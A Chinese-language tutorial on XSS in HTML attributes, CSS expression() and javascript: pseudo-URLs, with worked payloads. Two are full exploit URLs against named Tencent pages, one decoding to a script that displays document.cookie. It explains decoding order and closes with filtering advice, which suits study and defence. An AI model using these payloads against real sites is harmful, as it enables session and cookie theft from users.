level 3 HTML 中的野怪

当然XSS 的漏洞不仅仅只出现在script 代码块中,还可以包含在丰富的HTML 的标签属性中。比如img,input 等一系列标签,基本格式是 < HTML标签 onXXXX=”在这里” > 或者是放在伪URL 里,比如< a href = “javascript:在这里”> xxxx 。

一般这样地方的参数,很少是直接通过输入就直接放进去的,不过有时候常常是接受了用户的输入,最后输出的时候,会出现在这些位置,但如果对用户的输入没有做详尽的处理和过滤的话,就会出现明显的XSS 漏洞。来个栗子:

比如某网站是这样的:

http://example.com/search.php?word=helloworld

对应在HTML 代码中,他出现在了这样的区域里:

1
<input type="text" value="helloworld" />

开发者没有对helloworld进行过滤的话,我们直接构造

1
word=helloworld" onclick="alert(/xss/)

然后在对引号括号等,使用URL 编码,直接变成如下结构:

1
helloworld%22+onclick%3d%22alert(%2fxss%2f)

也就完成了xss过程,不过这种漏洞现在已经非常稀少,因为它太容易过滤了,只需要将双引号过滤即可,一般做法就是将双引号过滤成HTML 实体编码,也就是&#quot; 对于HTML 解析器,它能够识别在文本节点和参数值里边的实体编码,并且在内存中创建文档树的表现形式时,透明的对这些编码进行解码。所以,在创建DOM 树结构的时候,&quot(有个分号,但是markdown会直接转了); 还没有被解码成引号,而且创建文档树的内容的时,才会考虑解码,而这时,其XSS 功效已经不能发挥作用了。

于是,对于有过滤规则的情况下,该标签将变成:

1
<input type="text" value="helloworld" onclick="alert(1)" />

但是,仅仅是这样的过滤,显然是不够用的,还有其他的注入点可以进,继续在乌云上来看腾讯的例子,考虑这样一个网址:
http://follow.v.t.qq.com/index.php?c=follow&a=index&appkey=801004516&bg=FFFFFF&hsize=80&name=Zhanglifenft,chengyizhong,xiangyang20112007,linchufang,leonardoit,linchufang,qingfengxu6685,zhouzhichen001,yuguoming-ruc,luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,jxzhongweizhi,lihaipengtx

我们查看输出的HTML 源码,发现bg 那里对应的是background-color,我们尝试那里用不同的字符尝试,观察其过滤情况。在这里,我让bg = “\<>() 就是希望观察一下它的过滤情况,基本上所有的字符都被过滤了,但是只有\ 没有被过滤

如何只用 \ 构造利用语句呢,我们可以想到CSS 中的字符编码,CSS 提供了一套转义处理策略,一个反斜杠后边跟1~6位十六进制数字。然后利用CSS 的expression 来调用JavaScript 代码。也就是试图构造出

1
expression(eval(alert(/xss/))

这样的代码,完整来说,就是这样的:

1
<body style="... background-color:;width:expression(eval(alert(/xss/)))">

用分号来结束backgroud-color,然后 w: 后边跟上expression,如果expression 要被过滤,那就加上转义,把expression 随意变下形就可以,于是,在下边这样的代码构造下,漏洞又被利用了。

http://follow.v.t.qq.com/index.php?c=follow&a=index&appkey=801004516&bg=;w:expr\65ssion\28%20eval\28\27\69\66\28\21\77\69\6e\64\6f\77\2e\78\29\7b\61\6c\65\72\74\28\64\6f\63\75\6d\65\6e\74\2e\63\6f\6f\6b\69\65\29\3b\77\69\6e\64\6f\77\2e\78\3d\31\7d\27\29\29&hsize=80&name=Zhanglifenft,chengyizhong,xiangyang20112007,linchufang,leonardoit,linchufang,qingfengxu6685,zhouzhichen001,yuguoming-ruc,luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,jxzhongweizhi,lihaipengtx

不过很遗憾的,expression 当年是微软搞出来的技术,但是一直没被其他浏览器接受,同时,甚至微软自己如今也抛弃了这种特性,它出现在IE6,IE7,和IE8的一些早期版本,因为微软官方也认为该属性不具有通用性,而且它处理的事务,如今已经能够在CSS 中正常的完成,如min-width,max-width, 这些都已经在IE8之后得到很好的支持,所以expression 也只能在这两个古老版本上起效。

那么,继续考虑一些别的情况,考虑下面这个网站:
http://stock.finance.qq.com/report/search.php?searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaaaaa

其输出的HTML 代码中,我们可以找到它:

对于放在javascript: 中的伪URL,其效果和放在script 代码块中没有区别。在这里 aaaaaa我们可以考虑对其做点什么,很自然的,我们想到用单引号闭合,然后后边加上alert(/xss/) 这样的构造,看起来比较绕,其构造步骤是这样的:

1
2
3
location.href='...&searchvalue=aaaaaa'
location.href='...&searchvalue=aaaa'+alert(1)+''
location.href='...&searchvalue=aaaa'+alert(1)+''

如果单引号,被过滤,就要改成HTML 编码,这样,就能在源代码中javascript 伪URL那里添加了alert(1) 这样的XSS。这步骤改造完毕之后,我们将可能被过滤的&-> %26,#->%23 转换成URL 编码,构造成这样的URL:
http://stock.finance.qq.com/report/search.php?searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaa%26%23x27;%2balert(1)%2b%26%23x27;

至此,又完成了一次XSS 注入,但到此处,是否有一个疑问呢,还是关于编码解析的问题。在上一个栗子中,我们说,将双引号,改成&quot ; 这样的形式,就不会出现异常的解析了,但是这里,我们主动的将单引号改成了&#27 ; 这样的形式,反而成功的完成了XSS 呢。

其实,这是一个解析顺序的原因,正常的解析顺序是这样的,先对URL解码,那些用URL 编码的字符都变成解码后的参数传出去,然后是HTML 解析,HTML 解析,此时 ,是先构建DOM文档结构,然后才会对每一个文本节点,属性值内容进行解析,这时候,HTML 实体编码的部分,才会还原回来,这个时候已经不会对DOM 结构造成影响了。然后是JS 解析,此时才会执行JS 代码的内容。而此时,HTML 已经完成了解码。

对应上边的栗子,在JS 解析之前,HTML 已经对那些编码完成了解码,对于JS 来说,一切都写的清清楚楚的了。

回到那个栗子,我们利用的代码,原样是这样的:

1
<li><input type="text" id="pagenum" class="inputstyle0814" onkeydown="if ((event.keyCode==13) && (this.value!='')) location.href='http://stock.finance.qq.com/report/search.php?offset='+this.value+'&searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaaaaa'"/></li>

当我们构造完成利用代码之后,对于页面上来说,就是要点击按钮,也就是onkeydown。 不仅要将URL 传出去,还需要用户点击按钮,这样造成的威胁小很多,不如img 标签里的onerror ,onload那样可以自动触发。

最后我们再考虑一下如何防守吧,上上栗子的问题,在于漏掉了斜杠的过滤,那么\ 该过滤还是要过滤的。对于上边这个栗子,可以考虑二次过滤,也就是将&都过滤为 &amp ;,这样不仅过滤了无编码的单引号等格式,又可以过滤掉利用实体编码想要逃过的实体编码格式。而如果只是用正则去片段&#xNN..等形式,实际上是不一定搞定所有的HTML 编码形式的。

script>